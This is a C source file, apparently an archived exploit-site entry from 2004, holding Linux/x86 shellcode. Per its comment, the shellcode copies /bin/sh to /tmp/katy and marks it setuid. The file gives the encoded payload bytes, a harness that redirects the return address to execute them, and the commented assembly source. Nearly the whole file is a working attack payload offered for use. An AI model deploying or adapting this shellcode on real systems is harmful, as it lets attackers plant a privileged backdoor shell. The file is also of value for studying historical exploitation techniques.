80 lines
No EOL
1.9 KiB
C
80 lines
No EOL
1.9 KiB
C
/*
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* Linux/x86
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*
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* /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork()
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*/
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#include <stdio.h>
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char shellcode[] =
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"\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f"
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"\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89"
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"\x47\x26\x89\xfb\x8d\x4f\x1a\x8d\x57\x26\x31\xc0\xb0\x02\xcd\x80"
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"\x31\xf6\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1d\x31\xd2\x31\xc0"
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"\x31\xdb\x4b\x8d\x4f\x26\xb0\x07\xcd\x80\x31\xc0\x8d\x5f\x10\x31"
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"\xc9\x66\xb9\x6d\x09\xb0\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80"
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"\xe8\x9d\xff\xff\xff/bin/cp8/bin/sh8/tmp/katy";
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main() {
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int *ret;
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ret=(int *)&ret +2;
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printf("Shellcode lenght=%d\n",strlen(shellcode));
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(*ret) = (int)shellcode;
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}
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/* Code */
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/*
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__asm__("
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jmp 0x5e
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popl %edi
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xorl %eax,%eax
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movb %al,0x7(%edi)
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movb %al,0xf(%edi)
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movb %al,0x19(%edi)
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movl %edi,0x1a(%edi)
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leal 0x8(%edi),%esi
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movl %esi,0x1e(%edi)
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xorl %esi,%esi
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leal 0x10(%edi),%esi
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movl %esi,0x22(%edi)
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movl %eax,0x26(%edi)
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movl %edi,%ebx
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leal 0x1a(%edi),%ecx
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leal 0x26(%edi),%edx
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xorl %eax,%eax
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movb $0x2,%al
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int $0x80
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xorl %esi,%esi
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cmpl %eax,%esi
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jne 0x6
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movb $0xb,%al
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int $0x80
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jmp 0x1d
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xorl %edx,%edx
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xorl %eax,%eax
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xorl %ebx,%ebx
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dec %ebx
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leal 0x26(%edi),%ecx
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movb $0x7,%al
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int $0x80
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xorl %eax,%eax
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leal 0x10(%edi),%ebx
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xorl %ecx,%ecx
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movw $0x96d,%cx
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movb $0xf,%al
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int $0x80
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xorl %eax,%eax
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inc %eax
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xorl %ebx,%ebx
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int $0x80
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call -0x63
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.ascii \"/bin/cp8/bin/sh8/tmp/katy\"
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");
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*/
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/*
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RaiSe <raise@undersec.com>
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http://www.undersec.com
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*/
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// milw0rm.com [2004-09-26]
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